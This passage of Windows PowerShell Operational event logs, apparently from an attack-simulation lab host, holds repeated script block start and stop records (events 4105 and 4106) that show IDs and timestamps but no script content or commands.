ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040898
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040897
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040896
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040895
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040894
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040893
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040892
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040891
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040890
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040889
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040888
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040887
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040886
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040885
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040884
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040883
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040882
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040881
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040880
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040879
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040878
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040877
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040876
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040875
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040874
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040873
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040872
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040871
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040870
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040869
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040868
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040867
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040866
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040865
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040864
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040863
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040862
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040861
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040860
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040859
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040858
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040857
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040856
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040855
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040854
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040853
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040852
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040851
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040850
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040849
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040848
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040847
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040846
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040845
Keywords=None
